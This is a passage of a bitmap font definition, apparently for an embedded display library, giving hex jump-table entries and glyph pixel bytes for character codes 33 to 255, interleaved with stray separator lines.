0x00, 0x39, 0x07, 0x05, // 41:57
|
||||
0x00, 0x40, 0x09, 0x05, // 42:64
|
||||
0x00, 0x49, 0x09, 0x05, // 43:73
|
||||
0x00, 0x52, 0x06, 0x05, // 44:82
|
||||
0x00, 0x58, 0x07, 0x05, // 45:88
|
||||
0x00, 0x5F, 0x05, 0x05, // 46:95
|
||||
0x00, 0x64, 0x07, 0x05, // 47:100
|
||||
0x00, 0x6B, 0x09, 0x06, // 48:107
|
||||
0x00, 0x74, 0x05, 0x05, // 49:116
|
||||
0x00, 0x79, 0x09, 0x05, // 50:121
|
||||
0x00, 0x82, 0x07, 0x05, // 51:130
|
||||
0x00, 0x89, 0x09, 0x05, // 52:137
|
||||
0x00, 0x92, 0x07, 0x05, // 53:146
|
||||
0x00, 0x99, 0x07, 0x05, // 54:153
|
||||
0x00, 0xA0, 0x07, 0x05, // 55:160
|
||||
0x00, 0xA7, 0x07, 0x05, // 56:167
|
||||
0x00, 0xAE, 0x09, 0x05, // 57:174
|
||||
0x00, 0xB7, 0x05, 0x05, // 58:183
|
||||
0x00, 0xBC, 0x06, 0x05, // 59:188
|
||||
0x00, 0xC2, 0x09, 0x05, // 60:194
|
||||
0x00, 0xCB, 0x07, 0x05, // 61:203
|
||||
0x00, 0xD2, 0x09, 0x05, // 62:210
|
||||
0x00, 0xDB, 0x07, 0x05, // 63:219
|
||||
0x00, 0xE2, 0x0B, 0x07, // 64:226
|
||||
0x00, 0xED, 0x07, 0x05, // 65:237
|
||||
0x00, 0xF4, 0x07, 0x05, // 66:244
|
||||
0x00, 0xFB, 0x09, 0x06, // 67:251
|
||||
0x01, 0x04, 0x09, 0x06, // 68:260
|
||||
0x01, 0x0D, 0x09, 0x05, // 69:269
|
||||
0x01, 0x16, 0x09, 0x05, // 70:278
|
||||
0x01, 0x1F, 0x09, 0x06, // 71:287
|
||||
0x01, 0x28, 0x09, 0x06, // 72:296
|
||||
0x01, 0x31, 0x07, 0x05, // 73:305
|
||||
0x01, 0x38, 0x07, 0x05, // 74:312
|
||||
0x01, 0x3F, 0x09, 0x05, // 75:319
|
||||
0x01, 0x48, 0x09, 0x05, // 76:328
|
||||
0x01, 0x51, 0x09, 0x06, // 77:337
|
||||
0x01, 0x5A, 0x09, 0x06, // 78:346
|
||||
0x01, 0x63, 0x09, 0x06, // 79:355
|
||||
0x01, 0x6C, 0x09, 0x05, // 80:364
|
||||
0x01, 0x75, 0x0A, 0x06, // 81:373
|
||||
0x01, 0x7F, 0x07, 0x05, // 82:383
|
||||
0x01, 0x86, 0x09, 0x06, // 83:390
|
||||
0x01, 0x8F, 0x09, 0x05, // 84:399
|
||||
0x01, 0x98, 0x09, 0x06, // 85:408
|
||||
0x01, 0xA1, 0x07, 0x05, // 86:417
|
||||
0x01, 0xA8, 0x09, 0x05, // 87:424
|
||||
0x01, 0xB1, 0x07, 0x05, // 88:433
|
||||
0x01, 0xB8, 0x07, 0x05, // 89:440
|
||||
0x01, 0xBF, 0x09, 0x05, // 90:447
|
||||
0x01, 0xC8, 0x08, 0x05, // 91:456
|
||||
0x01, 0xD0, 0x08, 0x05, // 92:464
|
||||
0x01, 0xD8, 0x06, 0x05, // 93:472
|
||||
0x01, 0xDE, 0x07, 0x05, // 94:478
|
||||
0x01, 0xE5, 0x08, 0x05, // 95:485
|
||||
0x01, 0xED, 0x05, 0x05, // 96:493
|
||||
0x01, 0xF2, 0x09, 0x05, // 97:498
|
||||
0x01, 0xFB, 0x09, 0x06, // 98:507
|
||||
0x02, 0x04, 0x07, 0x06, // 99:516
|
||||
0x02, 0x0B, 0x09, 0x06, // 100:523
|
||||
0x02, 0x14, 0x07, 0x05, // 101:532
|
||||
0x02, 0x1B, 0x09, 0x05, // 102:539
|
||||
0x02, 0x24, 0x0A, 0x06, // 103:548
|
||||
0x02, 0x2E, 0x09, 0x06, // 104:558
|
||||
0x02, 0x37, 0x07, 0x05, // 105:567
|
||||
0x02, 0x3E, 0x08, 0x06, // 106:574
|
||||
0x02, 0x46, 0x09, 0x05, // 107:582
|
||||
0x02, 0x4F, 0x07, 0x05, // 108:591
|
||||
0x02, 0x56, 0x0B, 0x07, // 109:598
|
||||
0x02, 0x61, 0x09, 0x06, // 110:609
|
||||
0x02, 0x6A, 0x09, 0x06, // 111:618
|
||||
0x02, 0x73, 0x09, 0x06, // 112:627
|
||||
0x02, 0x7C, 0x0A, 0x06, // 113:636
|
||||
0x02, 0x86, 0x07, 0x05, // 114:646
|
||||
0x02, 0x8D, 0x07, 0x05, // 115:653
|
||||
0x02, 0x94, 0x09, 0x05, // 116:660
|
||||
0x02, 0x9D, 0x09, 0x06, // 117:669
|
||||
0x02, 0xA6, 0x07, 0x05, // 118:678
|
||||
0x02, 0xAD, 0x09, 0x05, // 119:685
|
||||
0x02, 0xB6, 0x07, 0x05, // 120:694
|
||||
0x02, 0xBD, 0x07, 0x05, // 121:701
|
||||
0x02, 0xC4, 0x09, 0x05, // 122:708
|
||||
0x02, 0xCD, 0x08, 0x05, // 123:717
|
||||
0x02, 0xD5, 0x06, 0x05, // 124:725
|
||||
0x02, 0xDB, 0x07, 0x05, // 125:731
|
||||
0x02, 0xE2, 0x09, 0x05, // 126:738
|
||||
0xFF, 0xFF, 0x00, 0x05, // 127:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 128:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 129:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 130:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 131:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 132:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 133:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 134:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 135:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 136:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 137:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 138:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 139:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 140:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 141:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 142:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 143:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 144:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 145:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 146:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 147:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 148:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 149:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 150:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 151:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 152:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 153:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 154:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 155:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 156:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 157:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 158:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 159:65535
|
||||
0xFF, 0xFF, 0x00, 0x05, // 160:65535
|
||||
0x02, 0xEB, 0x06, 0x05, // 161:747
|
||||
0x02, 0xF1, 0x09, 0x06, // 162:753
|
||||
0x02, 0xFA, 0x09, 0x05, // 163:762
|
||||
0x03, 0x03, 0x09, 0x06, // 164:771
|
||||
0x03, 0x0C, 0x09, 0x05, // 165:780
|
||||
0x03, 0x15, 0x06, 0x05, // 166:789
|
||||
0x03, 0x1B, 0x0A, 0x06, // 167:795
|
||||
0x03, 0x25, 0x07, 0x05, // 168:805
|
||||
0x03, 0x2C, 0x09, 0x06, // 169:812
|
||||
0x03, 0x35, 0x07, 0x05, // 170:821
|
||||
0x03, 0x3C, 0x07, 0x05, // 171:828
|
||||
0x03, 0x43, 0x07, 0x05, // 172:835
|
||||
0x03, 0x4A, 0x07, 0x05, // 173:842
|
||||
0x03, 0x51, 0x09, 0x06, // 174:849
|
||||
0x03, 0x5A, 0x07, 0x05, // 175:858
|
||||
0x03, 0x61, 0x05, 0x05, // 176:865
|
||||
0x03, 0x66, 0x07, 0x05, // 177:870
|
||||
0x03, 0x6D, 0x07, 0x05, // 178:877
|
||||
0x03, 0x74, 0x07, 0x05, // 179:884
|
||||
0x03, 0x7B, 0x05, 0x05, // 180:891
|
||||
0x03, 0x80, 0x07, 0x05, // 181:896
|
||||
0x03, 0x87, 0x07, 0x05, // 182:903
|
||||
0x03, 0x8E, 0x05, 0x05, // 183:910
|
||||
0x03, 0x93, 0x06, 0x05, // 184:915
|
||||
0x03, 0x99, 0x05, 0x05, // 185:921
|
||||
0x03, 0x9E, 0x07, 0x05, // 186:926
|
||||
0x03, 0xA5, 0x09, 0x05, // 187:933
|
||||
0x03, 0xAE, 0x07, 0x05, // 188:942
|
||||
0x03, 0xB5, 0x09, 0x05, // 189:949
|
||||
0x03, 0xBE, 0x07, 0x05, // 190:958
|
||||
0x03, 0xC5, 0x08, 0x05, // 191:965
|
||||
0x03, 0xCD, 0x07, 0x05, // 192:973
|
||||
0x03, 0xD4, 0x07, 0x05, // 193:980
|
||||
0x03, 0xDB, 0x07, 0x05, // 194:987
|
||||
0x03, 0xE2, 0x07, 0x05, // 195:994
|
||||
0x03, 0xE9, 0x07, 0x05, // 196:1001
|
||||
0x03, 0xF0, 0x07, 0x05, // 197:1008
|
||||
0x03, 0xF7, 0x09, 0x06, // 198:1015
|
||||
0x04, 0x00, 0x09, 0x06, // 199:1024
|
||||
0x04, 0x09, 0x09, 0x05, // 200:1033
|
||||
0x04, 0x12, 0x09, 0x05, // 201:1042
|
||||
0x04, 0x1B, 0x09, 0x05, // 202:1051
|
||||
0x04, 0x24, 0x09, 0x05, // 203:1060
|
||||
0x04, 0x2D, 0x07, 0x05, // 204:1069
|
||||
0x04, 0x34, 0x07, 0x05, // 205:1076
|
||||
0x04, 0x3B, 0x07, 0x05, // 206:1083
|
||||
0x04, 0x42, 0x07, 0x05, // 207:1090
|
||||
0x04, 0x49, 0x09, 0x06, // 208:1097
|
||||
0x04, 0x52, 0x09, 0x06, // 209:1106
|
||||
0x04, 0x5B, 0x09, 0x06, // 210:1115
|
||||
0x04, 0x64, 0x09, 0x06, // 211:1124
|
||||
0x04, 0x6D, 0x09, 0x06, // 212:1133
|
||||
0x04, 0x76, 0x09, 0x06, // 213:1142
|
||||
0x04, 0x7F, 0x09, 0x06, // 214:1151
|
||||
0x04, 0x88, 0x07, 0x05, // 215:1160
|
||||
0x04, 0x8F, 0x09, 0x06, // 216:1167
|
||||
0x04, 0x98, 0x09, 0x06, // 217:1176
|
||||
0x04, 0xA1, 0x09, 0x06, // 218:1185
|
||||
0x04, 0xAA, 0x09, 0x06, // 219:1194
|
||||
0x04, 0xB3, 0x09, 0x06, // 220:1203
|
||||
0x04, 0xBC, 0x09, 0x05, // 221:1212
|
||||
0x04, 0xC5, 0x09, 0x05, // 222:1221
|
||||
0x04, 0xCE, 0x09, 0x05, // 223:1230
|
||||
0x04, 0xD7, 0x09, 0x05, // 224:1239
|
||||
0x04, 0xE0, 0x09, 0x05, // 225:1248
|
||||
0x04, 0xE9, 0x09, 0x05, // 226:1257
|
||||
0x04, 0xF2, 0x09, 0x05, // 227:1266
|
||||
0x04, 0xFB, 0x09, 0x05, // 228:1275
|
||||
0x05, 0x04, 0x09, 0x05, // 229:1284
|
||||
0x05, 0x0D, 0x0B, 0x06, // 230:1293
|
||||
0x05, 0x18, 0x08, 0x06, // 231:1304
|
||||
0x05, 0x20, 0x07, 0x05, // 232:1312
|
||||
0x05, 0x27, 0x07, 0x05, // 233:1319
|
||||
0x05, 0x2E, 0x07, 0x05, // 234:1326
|
||||
0x05, 0x35, 0x07, 0x05, // 235:1333
|
||||
0x05, 0x3C, 0x07, 0x05, // 236:1340
|
||||
0x05, 0x43, 0x07, 0x05, // 237:1347
|
||||
0x05, 0x4A, 0x07, 0x05, // 238:1354
|
||||
0x05, 0x51, 0x07, 0x05, // 239:1361
|
||||
0x05, 0x58, 0x09, 0x06, // 240:1368
|
||||
0x05, 0x61, 0x09, 0x06, // 241:1377
|
||||
0x05, 0x6A, 0x09, 0x06, // 242:1386
|
||||
0x05, 0x73, 0x09, 0x06, // 243:1395
|
||||
0x05, 0x7C, 0x09, 0x06, // 244:1404
|
||||
0x05, 0x85, 0x09, 0x06, // 245:1413
|
||||
0x05, 0x8E, 0x09, 0x06, // 246:1422
|
||||
0x05, 0x97, 0x07, 0x05, // 247:1431
|
||||
0x05, 0x9E, 0x09, 0x06, // 248:1438
|
||||
0x05, 0xA7, 0x09, 0x06, // 249:1447
|
||||
0x05, 0xB0, 0x09, 0x06, // 250:1456
|
||||
0x05, 0xB9, 0x09, 0x06, // 251:1465
|
||||
0x05, 0xC2, 0x09, 0x06, // 252:1474
|
||||
0x05, 0xCB, 0x07, 0x05, // 253:1483
|
||||
0x05, 0xD2, 0x09, 0x06, // 254:1490
|
||||
0x05, 0xDB, 0x07, 0x05, // 255:1499
|
||||
|
||||
// Font Data:
|
||||
0x00, 0x00, 0x00, 0x00, 0xF8, // 33
|
||||
0x00, 0x00, 0x18, 0x00, 0x18, // 34
|
||||
0x40, 0x00, 0xF8, 0x00, 0xD0, 0x00, 0x78, 0x00, 0x10, // 35
|
||||
0x00, 0x00, 0x98, 0x00, 0x24, 0x01, 0xE8, // 36
|
||||
0x00, 0x00, 0x18, 0x00, 0x78, 0x00, 0xD0, 0x00, 0xA0, 0x00, 0x40, // 37
|
||||
0x00, 0x00, 0xD0, 0x00, 0xA8, 0x00, 0xD8, 0x00, 0xC0, // 38
|
||||
0x00, 0x00, 0x00, 0x00, 0x18, // 39
|
||||
0x00, 0x00, 0xF0, 0x00, 0x0C, 0x01, // 40
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0xF0, // 41
|
||||
0x20, 0x00, 0x60, 0x00, 0x30, 0x00, 0xE0, 0x00, 0x20, // 42
|
||||
0x20, 0x00, 0x20, 0x00, 0x78, 0x00, 0x20, 0x00, 0x20, // 43
|
||||
0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 44
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, // 45
|
||||
0x00, 0x00, 0x00, 0x00, 0x80, // 46
|
||||
0x00, 0x00, 0x80, 0x01, 0x70, 0x00, 0x08, // 47
|
||||
0x00, 0x00, 0x70, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0x70, // 48
|
||||
0x00, 0x00, 0x08, 0x00, 0xF8, // 49
|
||||
0x00, 0x00, 0x98, 0x00, 0xC8, 0x00, 0xB8, 0x00, 0x80, // 50
|
||||
0x00, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD0, // 51
|
||||
0x40, 0x00, 0x60, 0x00, 0x50, 0x00, 0xF8, 0x00, 0x40, // 52
|
||||
0x40, 0x00, 0x98, 0x00, 0x98, 0x00, 0xE8, // 53
|
||||
0x00, 0x00, 0x70, 0x00, 0x98, 0x00, 0xF8, // 54
|
||||
0x08, 0x00, 0xC8, 0x00, 0x38, 0x00, 0x08, // 55
|
||||
0x00, 0x00, 0xD8, 0x00, 0xA8, 0x00, 0xF8, // 56
|
||||
0x00, 0x00, 0x18, 0x00, 0xA8, 0x00, 0xF8, 0x00, 0x20, // 57
|
||||
0x00, 0x00, 0x00, 0x00, 0x90, // 58
|
||||
0x00, 0x00, 0x00, 0x00, 0x10, 0x01, // 59
|
||||
0x00, 0x00, 0x20, 0x00, 0x60, 0x00, 0x50, 0x00, 0x10, // 60
|
||||
0x00, 0x00, 0x50, 0x00, 0x50, 0x00, 0x50, // 61
|
||||
0x00, 0x00, 0x50, 0x00, 0x60, 0x00, 0x20, 0x00, 0x20, // 62
|
||||
0x00, 0x00, 0x08, 0x00, 0xE8, 0x00, 0x18, // 63
|
||||
0x00, 0x00, 0x70, 0x00, 0xB8, 0x00, 0x78, 0x00, 0x48, 0x00, 0x30, // 64
|
||||
0x80, 0x00, 0x70, 0x00, 0x58, 0x00, 0xE0, // 65
|
||||
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xF8, // 66
|
||||
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0xD8, // 67
|
||||
0x00, 0x00, 0xF8, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 68
|
||||
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0x88, // 69
|
||||
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0x28, 0x00, 0x08, // 70
|
||||
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xE8, // 71
|
||||
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, // 72
|
||||
0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x88, // 73
|
||||
0x40, 0x00, 0x80, 0x00, 0x80, 0x00, 0x78, // 74
|
||||
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x50, 0x00, 0x88, // 75
|
||||
0x00, 0x00, 0xF8, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, // 76
|
||||
0x00, 0x00, 0xF8, 0x00, 0x30, 0x00, 0x30, 0x00, 0xF8, // 77
|
||||
0x00, 0x00, 0xF8, 0x00, 0x30, 0x00, 0x40, 0x00, 0xF8, // 78
|
||||
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 79
|
||||
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0x28, 0x00, 0x10, // 80
|
||||
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, 0x01, // 81
|
||||
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0xF8, // 82
|
||||
0x00, 0x00, 0xD8, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xC0, // 83
|
||||
0x08, 0x00, 0x08, 0x00, 0xF8, 0x00, 0x08, 0x00, 0x08, // 84
|
||||
0x00, 0x00, 0x78, 0x00, 0x80, 0x00, 0x80, 0x00, 0x78, // 85
|
||||
0x08, 0x00, 0x70, 0x00, 0xC0, 0x00, 0x38, // 86
|
||||
0x38, 0x00, 0xF0, 0x00, 0x78, 0x00, 0xF0, 0x00, 0x08, // 87
|
||||
0x00, 0x00, 0xD8, 0x00, 0x20, 0x00, 0xD8, // 88
|
||||
0x08, 0x00, 0x10, 0x00, 0xE0, 0x00, 0x18, // 89
|
||||
0x00, 0x00, 0xC8, 0x00, 0xA8, 0x00, 0x98, 0x00, 0x88, // 90
|
||||
0x00, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x02, 0x01, // 91
|
||||
0x00, 0x00, 0x18, 0x00, 0x60, 0x00, 0x80, 0x01, // 92
|
||||
0x00, 0x00, 0x02, 0x01, 0xFE, 0x01, // 93
|
||||
0x00, 0x00, 0x30, 0x00, 0x18, 0x00, 0x20, // 94
|
||||
0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 95
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, // 96
|
||||
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB0, 0x00, 0xE0, // 97
|
||||
0x00, 0x00, 0xF8, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 98
|
||||
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, // 99
|
||||
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF8, // 100
|
||||
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB0, // 101
|
||||
0x00, 0x00, 0x10, 0x00, 0xF8, 0x00, 0x14, 0x00, 0x14, // 102
|
||||
0x00, 0x00, 0x60, 0x01, 0x90, 0x01, 0x90, 0x01, 0xF0, 0x01, // 103
|
||||
0x00, 0x00, 0xF8, 0x00, 0x10, 0x00, 0x10, 0x00, 0xF0, // 104
|
||||
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 105
|
||||
0x00, 0x00, 0x00, 0x01, 0x10, 0x01, 0xF0, 0x01, // 106
|
||||
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x50, 0x00, 0x80, // 107
|
||||
0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 108
|
||||
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0xF0, 0x00, 0x10, 0x00, 0xF0, // 109
|
||||
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0x10, 0x00, 0xF0, // 110
|
||||
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 111
|
||||
0x00, 0x00, 0xF0, 0x01, 0x90, 0x00, 0x90, 0x00, 0x60, // 112
|
||||
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF0, 0x01, // 113
|
||||
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0x10, // 114
|
||||
0x00, 0x00, 0xB0, 0x00, 0xD0, 0x00, 0xD0, // 115
|
||||
0x00, 0x00, 0x10, 0x00, 0xF8, 0x00, 0x90, 0x00, 0x90, // 116
|
||||
0x00, 0x00, 0xF0, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF0, // 117
|
||||
0x10, 0x00, 0x60, 0x00, 0xC0, 0x00, 0x30, // 118
|
||||
0x70, 0x00, 0xE0, 0x00, 0x70, 0x00, 0xE0, 0x00, 0x10, // 119
|
||||
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0x90, // 120
|
||||
0x10, 0x00, 0x60, 0x01, 0xC0, 0x00, 0x30, // 121
|
||||
0x00, 0x00, 0x90, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0x80, // 122
|
||||
0x00, 0x00, 0x40, 0x00, 0xB8, 0x01, 0x04, 0x02, // 123
|
||||
0x00, 0x00, 0x00, 0x00, 0xF8, 0x01, // 124
|
||||
0x00, 0x00, 0x04, 0x02, 0xB8, 0x01, 0x40, // 125
|
||||
0x40, 0x00, 0x20, 0x00, 0x40, 0x00, 0x40, 0x00, 0x20, // 126
|
||||
0x00, 0x00, 0x00, 0x00, 0xF0, 0x01, // 161
|
||||
0x00, 0x00, 0xE0, 0x00, 0x20, 0x01, 0x10, 0x01, 0xA0, // 162
|
||||
0xA0, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0x88, 0x00, 0x80, // 163
|
||||
0x00, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF0, // 164
|
||||
0x08, 0x00, 0x70, 0x00, 0xE0, 0x00, 0x70, 0x00, 0x68, // 165
|
||||
0x00, 0x00, 0x00, 0x00, 0xF8, 0x01, // 166
|
||||
0x00, 0x00, 0x78, 0x01, 0xA8, 0x02, 0xA8, 0x02, 0x58, 0x01, // 167
|
||||
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
|
||||
0x00, 0x00, 0x60, 0x00, 0xD0, 0x00, 0x90, 0x00, 0x60, // 169
|
||||
0x00, 0x00, 0x38, 0x00, 0x28, 0x00, 0x30, // 170
|
||||
0x00, 0x00, 0x40, 0x00, 0xE0, 0x00, 0xA0, // 171
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x60, // 172
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, // 173
|
||||
0x00, 0x00, 0x60, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x60, // 174
|
||||
0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
|
||||
0x00, 0x00, 0x08, 0x00, 0x08, // 176
|
||||
0x20, 0x00, 0xA0, 0x00, 0xF8, 0x00, 0xA0, // 177
|
||||
0x00, 0x00, 0x28, 0x00, 0x38, 0x00, 0x20, // 178
|
||||
0x00, 0x00, 0x08, 0x00, 0x38, 0x00, 0x08, // 179
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, // 180
|
||||
0x00, 0x00, 0xF0, 0x01, 0x00, 0x01, 0xF0, // 181
|
||||
0x00, 0x00, 0x38, 0x00, 0x38, 0x00, 0xF8, // 182
|
||||
0x00, 0x00, 0x00, 0x00, 0x20, // 183
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, // 184
|
||||
0x00, 0x00, 0x08, 0x00, 0x38, // 185
|
||||
0x00, 0x00, 0x38, 0x00, 0x28, 0x00, 0x10, // 186
|
||||
0x00, 0x00, 0x40, 0x00, 0x20, 0x00, 0x70, 0x00, 0x20, // 187
|
||||
0x08, 0x00, 0x78, 0x00, 0xF0, 0x00, 0xE0, // 188
|
||||
0x08, 0x00, 0x78, 0x00, 0x20, 0x00, 0xB0, 0x00, 0x60, // 189
|
||||
0x08, 0x00, 0x70, 0x00, 0x90, 0x00, 0xE0, // 190
|
||||
0x00, 0x00, 0x80, 0x01, 0x70, 0x01, 0x00, 0x01, // 191
|
||||
0x80, 0x00, 0x72, 0x00, 0x5C, 0x00, 0xE0, // 192
|
||||
0x80, 0x00, 0x70, 0x00, 0x5C, 0x00, 0xE2, // 193
|
||||
0x80, 0x00, 0x72, 0x00, 0x5A, 0x00, 0xE0, // 194
|
||||
0x80, 0x00, 0x72, 0x00, 0x5A, 0x00, 0xE2, // 195
|
||||
0x80, 0x00, 0x72, 0x00, 0x58, 0x00, 0xE2, // 196
|
||||
0x80, 0x00, 0x70, 0x00, 0x5E, 0x00, 0xE0, // 197
|
||||
0x00, 0x00, 0xE0, 0x00, 0x58, 0x00, 0xF8, 0x00, 0xA8, // 198
|
||||
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x01, 0xD8, // 199
|
||||
0x00, 0x00, 0xF8, 0x00, 0xAA, 0x00, 0xA8, 0x00, 0x88, // 200
|
||||
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xAA, 0x00, 0x88, // 201
|
||||
0x00, 0x00, 0xF8, 0x00, 0xAA, 0x00, 0xAA, 0x00, 0x88, // 202
|
||||
0x00, 0x00, 0xFA, 0x00, 0xA8, 0x00, 0xAA, 0x00, 0x88, // 203
|
||||
0x00, 0x00, 0x8A, 0x00, 0xFC, 0x00, 0x88, // 204
|
||||
0x00, 0x00, 0x88, 0x00, 0xFC, 0x00, 0x8A, // 205
|
||||
0x00, 0x00, 0x8A, 0x00, 0xFA, 0x00, 0x88, // 206
|
||||
0x00, 0x00, 0x8A, 0x00, 0xF8, 0x00, 0x88, // 207
|
||||
0x20, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0x88, 0x00, 0x70, // 208
|
||||
0x00, 0x00, 0xF8, 0x00, 0x32, 0x00, 0x42, 0x00, 0xF8, // 209
|
||||
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x88, 0x00, 0x70, // 210
|
||||
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x8A, 0x00, 0x70, // 211
|
||||
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x8A, 0x00, 0x70, // 212
|
||||
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x8A, 0x00, 0x70, // 213
|
||||
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x88, 0x00, 0x72, // 214
|
||||
0x00, 0x00, 0x50, 0x00, 0x20, 0x00, 0x50, // 215
|
||||
0x00, 0x00, 0x70, 0x01, 0xA8, 0x00, 0xA8, 0x00, 0x78, // 216
|
||||
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x80, 0x00, 0x78, // 217
|
||||
0x00, 0x00, 0x78, 0x00, 0x80, 0x00, 0x82, 0x00, 0x78, // 218
|
||||
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x82, 0x00, 0x78, // 219
|
||||
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x80, 0x00, 0x7A, // 220
|
||||
0x08, 0x00, 0x10, 0x00, 0xE4, 0x00, 0x12, 0x00, 0x08, // 221
|
||||
0x00, 0x00, 0xF8, 0x00, 0x50, 0x00, 0x50, 0x00, 0x20, // 222
|
||||
0x00, 0x00, 0xF8, 0x00, 0x84, 0x00, 0xBC, 0x00, 0x40, // 223
|
||||
0x00, 0x00, 0xE0, 0x00, 0xB8, 0x00, 0xB0, 0x00, 0xE0, // 224
|
||||
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB0, 0x00, 0xE0, // 225
|
||||
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB8, 0x00, 0xE0, // 226
|
||||
0x00, 0x00, 0xD8, 0x00, 0xB8, 0x00, 0xB8, 0x00, 0xE0, // 227
|
||||
0x00, 0x00, 0xD8, 0x00, 0xB0, 0x00, 0xB8, 0x00, 0xE0, // 228
|
||||
0x00, 0x00, 0xD0, 0x00, 0xBC, 0x00, 0xB0, 0x00, 0xE0, // 229
|
||||
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xF0, 0x00, 0xB0, 0x00, 0x20, // 230
|
||||
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x01, // 231
|
||||
0x00, 0x00, 0x60, 0x00, 0xB8, 0x00, 0xB0, // 232
|
||||
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB0, // 233
|
||||
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB8, // 234
|
||||
